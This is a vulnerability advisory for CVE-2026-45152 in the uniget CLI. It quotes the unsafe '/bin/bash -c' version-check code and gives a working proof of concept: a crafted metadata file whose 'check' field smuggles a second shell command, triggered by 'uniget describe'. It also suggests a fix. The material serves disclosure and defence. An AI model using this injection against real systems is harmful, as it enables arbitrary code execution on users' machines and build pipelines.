CVE-2026-45152: uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution
I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. Summary A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c.
Published May 13, 2026 · Updated Jun 8, 2026
Affected packages
gitlab.com/uniget-org/cli
- Ecosystem
- Go
- Affected
- < 0.27.1
- Fixed in
- 0.27.1
- Check
go list -m gitlab.com/uniget-org/cli
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.
Summary
A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.
This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.
Details
The vulnerable code is located in:
tool.go:250
Vulnerable function:
func (tool *Tool) RunVersionCheck() (string, error) {
cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
version, err := cmd.Output()
return string(version), nil
}The issue occurs because the tool.Check field is populated directly from metadata JSON files without validation.
Related structure:
type Tool struct {
Check string
}Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.
Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.
PoC
Step 1 — Verify the vulnerable binary:
/tmp/uniget-bin --versionOutput:
uniget version mainStep 2 — Create malicious metadata cache:
mkdir -p ~/.local/var/cache/uniget
cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
"tools": [
{
"name": "evil-tool",
"version": "1.0.0",
"binary": "${target}/bin/evil-tool",
"check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
"tags": ["test"],
"description": "RCE test",
"repository": "https://example.com",
"license": {
"name": "MIT",
"link": "https://example.com"
},
"sources": [
{
"registry": "ghcr.io",
"repository": "uniget-org/tools"
}
]
}
]
}
EOFStep 3 — Create placeholder binary:
mkdir -p ~/.local/usr/local/bin
cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF
chmod +x ~/.local/usr/local/bin/evil-toolStep 4 — Trigger the vulnerable workflow:
/tmp/uniget-bin describe evil-tool --prefix ~/.localApplication output:
Name: evil-tool
Description: RCE test
Repository: https://example.com
Version: 1.0.0
Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>Step 5 — Verify arbitrary command execution:
ls -la /tmp/rce-proof.txt
cat /tmp/rce-proof.txtActual output:
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)This confirms arbitrary command execution through the untrusted check field loaded from metadata.
Impact
This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.
An attacker may be able to:
- Execute arbitrary shell commands
- Exfiltrate sensitive files or environment variables
- Install malware or backdoors
- Modify or delete accessible files
- Establish persistence on the victim machine
- Compromise CI/CD environments using uniget automation
Any user importing or processing attacker-controlled metadata may be impacted.
Suggested Remediation
Avoid using /bin/bash -c with untrusted input.
Instead of:
exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")consider executing fixed binaries and arguments directly without invoking a shell.
For example:
exec.Command(binary, "--version")or sanitize and strictly validate allowed commands before execution.
Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.
Credited to 0x5t4l1n, harriiinnii.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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